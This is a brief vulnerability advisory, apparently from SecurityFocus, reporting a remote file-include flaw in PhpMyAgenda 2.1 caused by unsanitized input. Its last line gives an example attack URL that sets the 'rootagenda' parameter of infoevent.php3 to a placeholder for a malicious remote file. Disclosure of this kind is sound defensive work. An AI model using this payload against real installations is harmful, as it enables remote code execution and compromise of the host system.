source: http://www.securityfocus.com/bid/29164/info

PhpMyAgenda is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PhpMyAgenda 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[PaTh]/infoevent.php3?rootagenda=[EV!L] 